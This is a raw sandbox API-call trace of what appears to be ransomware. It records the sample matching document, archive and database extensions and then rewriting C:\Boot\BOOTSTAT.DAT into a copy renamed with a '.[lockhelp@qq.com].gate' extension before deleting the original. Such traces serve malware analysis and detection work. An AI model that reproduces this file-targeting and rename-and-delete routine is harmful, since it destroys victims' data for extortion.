[0113.862] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString=".zip") returned 4 [0113.862] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.862] lstrlenW (lpString=".rar") returned 4 [0113.862] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString=".bz2") returned 4 [0113.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString=".7z") returned 3 [0113.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString=".dbf") returned 4 [0113.862] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString=".1cd") returned 4 [0113.862] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString=".jpg") returned 4 [0113.862] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.862] lstrlenW (lpString=".doc") returned 4 [0113.862] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString=".docx") returned 5 [0113.862] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.862] lstrlenW (lpString=".pdf") returned 4 [0113.862] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString=".xls") returned 4 [0113.862] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.862] lstrlenW (lpString=".xlsx") returned 5 [0113.863] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.863] lstrlenW (lpString=".ppt") returned 4 [0113.863] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.863] lstrlenW (lpString=".zip") returned 4 [0113.863] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.863] lstrlenW (lpString=".rar") returned 4 [0113.863] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.863] lstrlenW (lpString=".bz2") returned 4 [0113.863] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.863] lstrlenW (lpString=".7z") returned 3 [0113.863] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.863] lstrlenW (lpString=".dbf") returned 4 [0113.863] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.863] lstrlenW (lpString=".1cd") returned 4 [0113.863] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.863] lstrlenW (lpString=".jpg") returned 4 [0113.863] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.863] lstrcmpiW (lpString1=".LOG", lpString2=".gate") returned 1 [0113.863] lstrlenW (lpString="BCD.LOG") returned 7 [0113.863] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.863] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString=".doc") returned 4 [0113.864] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0113.864] lstrlenW (lpString=".docx") returned 5 [0113.864] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0113.864] lstrlenW (lpString=".pdf") returned 4 [0113.864] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0113.864] lstrlenW (lpString=".xls") returned 4 [0113.864] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0113.864] lstrlenW (lpString=".xlsx") returned 5 [0113.864] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0113.864] lstrlenW (lpString=".ppt") returned 4 [0113.864] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString=".zip") returned 4 [0113.864] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0113.864] lstrlenW (lpString=".rar") returned 4 [0113.864] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0113.864] lstrlenW (lpString=".bz2") returned 4 [0113.864] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0113.864] lstrlenW (lpString=".7z") returned 3 [0113.864] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString=".dbf") returned 4 [0113.864] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString=".1cd") returned 4 [0113.864] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString=".jpg") returned 4 [0113.864] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.864] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.865] lstrlenW (lpString=".doc") returned 4 [0113.865] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0113.865] lstrlenW (lpString=".docx") returned 5 [0113.865] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0113.865] lstrlenW (lpString=".pdf") returned 4 [0113.865] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0113.865] lstrlenW (lpString=".xls") returned 4 [0113.865] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0113.865] lstrlenW (lpString=".xlsx") returned 5 [0113.865] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0113.865] lstrlenW (lpString=".ppt") returned 4 [0113.865] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0113.865] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.865] lstrlenW (lpString=".zip") returned 4 [0113.865] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0113.865] lstrlenW (lpString=".rar") returned 4 [0113.865] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0113.865] lstrlenW (lpString=".bz2") returned 4 [0113.865] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0113.865] lstrlenW (lpString=".7z") returned 3 [0113.865] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0113.865] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.865] lstrlenW (lpString=".dbf") returned 4 [0113.865] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0113.865] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.865] lstrlenW (lpString=".1cd") returned 4 [0113.865] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0113.865] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0113.865] lstrlenW (lpString=".jpg") returned 4 [0113.865] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0113.866] lstrcmpiW (lpString1=".DAT", lpString2=".gate") returned -1 [0113.866] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0113.866] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.866] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=65536) returned 1 [0113.866] CloseHandle (hObject=0x348) returned 1 [0113.866] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0113.867] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.867] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.867] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.867] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.867] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.867] GetLastError () returned 0x0 [0113.867] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x10000, lpOverlapped=0x0) returned 1 [0113.869] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x10010, lpOverlapped=0x0) returned 1 [0113.871] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.871] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0113.871] SetEndOfFile (hFile=0x344) returned 1 [0113.871] CloseHandle (hObject=0x344) returned 1 [0113.873] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.873] SetEndOfFile (hFile=0x348) returned 1 [0113.874] CloseHandle (hObject=0x348) returned 1 [0113.874] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0113.875] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0113.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.875] lstrlenW (lpString=".doc") returned 4 [0113.875] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString=".docx") returned 5 [0113.875] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0113.875] lstrlenW (lpString=".pdf") returned 4 [0113.875] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString=".xls") returned 4 [0113.875] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString=".xlsx") returned 5 [0113.875] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0113.875] lstrlenW (lpString=".ppt") returned 4 [0113.875] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.875] lstrlenW (lpString=".zip") returned 4 [0113.875] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString=".rar") returned 4 [0113.875] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0113.875] lstrlenW (lpString=".bz2") returned 4 [0113.875] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0113.875] lstrlenW (lpString=".7z") returned 3 [0113.875] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString=".dbf") returned 4 [0113.876] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString=".1cd") returned 4 [0113.876] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString=".jpg") returned 4 [0113.876] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString=".doc") returned 4 [0113.876] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString=".docx") returned 5 [0113.876] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0113.876] lstrlenW (lpString=".pdf") returned 4 [0113.876] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString=".xls") returned 4 [0113.876] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString=".xlsx") returned 5 [0113.876] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0113.876] lstrlenW (lpString=".ppt") returned 4 [0113.876] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0113.876] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.876] lstrlenW (lpString=".zip") returned 4 [0113.876] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0113.877] lstrlenW (lpString=".rar") returned 4 [0113.877] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0113.877] lstrlenW (lpString=".bz2") returned 4 [0113.877] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0113.877] lstrlenW (lpString=".7z") returned 3 [0113.877] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0113.877] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.877] lstrlenW (lpString=".dbf") returned 4 [0113.877] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0113.877] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.877] lstrlenW (lpString=".1cd") returned 4 [0113.877] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0113.877] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0113.877] lstrlenW (lpString=".jpg") returned 4 [0113.877] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0113.877] lstrcmpiW (lpString1=".p7b", lpString2=".gate") returned 1 [0113.877] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0113.877] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.081] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=4662) returned 1 [0114.081] CloseHandle (hObject=0x350) returned 1 [0114.081] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0114.081] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.081] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.082] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.082] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.082] lstrlenW (lpString=".doc") returned 4 [0114.082] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0114.082] lstrlenW (lpString=".docx") returned 5 [0114.082] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0114.082] lstrlenW (lpString=".pdf") returned 4 [0114.082] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0114.082] lstrlenW (lpString=".xls") returned 4 [0114.082] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0114.082] lstrlenW (lpString=".xlsx") returned 5 [0114.082] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0114.082] lstrlenW (lpString=".ppt") returned 4 [0114.082] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0114.082] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.082] lstrlenW (lpString=".zip") returned 4 [0114.082] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0114.082] lstrlenW (lpString=".rar") returned 4 [0114.082] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0114.082] lstrlenW (lpString=".bz2") returned 4 [0114.082] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0114.082] lstrlenW (lpString=".7z") returned 3 [0114.083] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.083] lstrlenW (lpString=".dbf") returned 4 [0114.083] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.083] lstrlenW (lpString=".1cd") returned 4 [0114.083] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.083] lstrlenW (lpString=".jpg") returned 4 [0114.083] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.083] lstrlenW (lpString=".doc") returned 4 [0114.083] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0114.083] lstrlenW (lpString=".docx") returned 5 [0114.083] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0114.083] lstrlenW (lpString=".pdf") returned 4 [0114.083] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0114.083] lstrlenW (lpString=".xls") returned 4 [0114.083] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0114.083] lstrlenW (lpString=".xlsx") returned 5 [0114.083] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0114.083] lstrlenW (lpString=".ppt") returned 4 [0114.083] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0114.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.084] lstrlenW (lpString=".zip") returned 4 [0114.084] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0114.084] lstrlenW (lpString=".rar") returned 4 [0114.084] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0114.084] lstrlenW (lpString=".bz2") returned 4 [0114.084] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0114.084] lstrlenW (lpString=".7z") returned 3 [0114.084] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0114.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.084] lstrlenW (lpString=".dbf") returned 4 [0114.084] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0114.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.084] lstrlenW (lpString=".1cd") returned 4 [0114.084] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0114.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0114.084] lstrlenW (lpString=".jpg") returned 4 [0114.084] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0114.084] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.084] lstrlenW (lpString="boxed-delete.avi") returned 16 [0114.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.428] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=48936) returned 1 [0114.428] CloseHandle (hObject=0x358) returned 1 [0114.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0114.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.428] lstrlenW (lpString=".doc") returned 4 [0114.428] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.428] lstrlenW (lpString=".docx") returned 5 [0114.429] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0114.429] lstrlenW (lpString=".pdf") returned 4 [0114.429] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString=".xls") returned 4 [0114.429] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString=".xlsx") returned 5 [0114.429] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0114.429] lstrlenW (lpString=".ppt") returned 4 [0114.429] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.429] lstrlenW (lpString=".zip") returned 4 [0114.429] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString=".rar") returned 4 [0114.429] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString=".bz2") returned 4 [0114.429] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString=".7z") returned 3 [0114.429] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.429] lstrlenW (lpString=".dbf") returned 4 [0114.429] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.429] lstrlenW (lpString=".1cd") returned 4 [0114.429] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.429] lstrlenW (lpString=".jpg") returned 4 [0114.429] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.430] lstrlenW (lpString=".doc") returned 4 [0114.430] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".docx") returned 5 [0114.430] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0114.430] lstrlenW (lpString=".pdf") returned 4 [0114.430] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".xls") returned 4 [0114.430] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".xlsx") returned 5 [0114.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0114.430] lstrlenW (lpString=".ppt") returned 4 [0114.430] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.430] lstrlenW (lpString=".zip") returned 4 [0114.430] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".rar") returned 4 [0114.430] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".bz2") returned 4 [0114.430] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString=".7z") returned 3 [0114.430] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.430] lstrlenW (lpString=".dbf") returned 4 [0114.430] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.430] lstrlenW (lpString=".1cd") returned 4 [0114.430] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0114.431] lstrlenW (lpString=".jpg") returned 4 [0114.431] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.431] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.431] lstrlenW (lpString="keypadbase.xml") returned 14 [0114.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), 